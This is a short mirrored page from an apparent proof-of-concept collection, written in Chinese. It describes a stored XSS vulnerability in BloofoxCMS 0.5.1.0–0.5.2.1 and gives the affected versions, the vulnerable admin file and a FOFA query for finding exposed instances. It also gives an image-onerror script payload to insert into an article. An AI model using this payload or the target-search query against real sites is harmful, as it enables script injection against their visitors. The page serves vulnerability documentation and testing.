mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 03:17:19 +00:00
35 lines
429 B
Markdown
35 lines
429 B
Markdown
|
# BloofoxCMS 0.5.2.1 存储型XSS
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
参考链接：
|
|||
|
|
|
|||
|
|
- https://packetstormsecurity.com/files/161195
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
BloofoxCMS 0.5.1.0 -.5.2.1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## FOFA
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
app="BloofoxCMS"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
漏洞文件：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/admin/include/inc_content_articles.php
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
登录有效的账号，在添加文章的时候插入Payload发布，每次访问均可触发：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
<img src=# onerror=alert('xss')>
|
|||
|
|
```
|
|||
|
|
|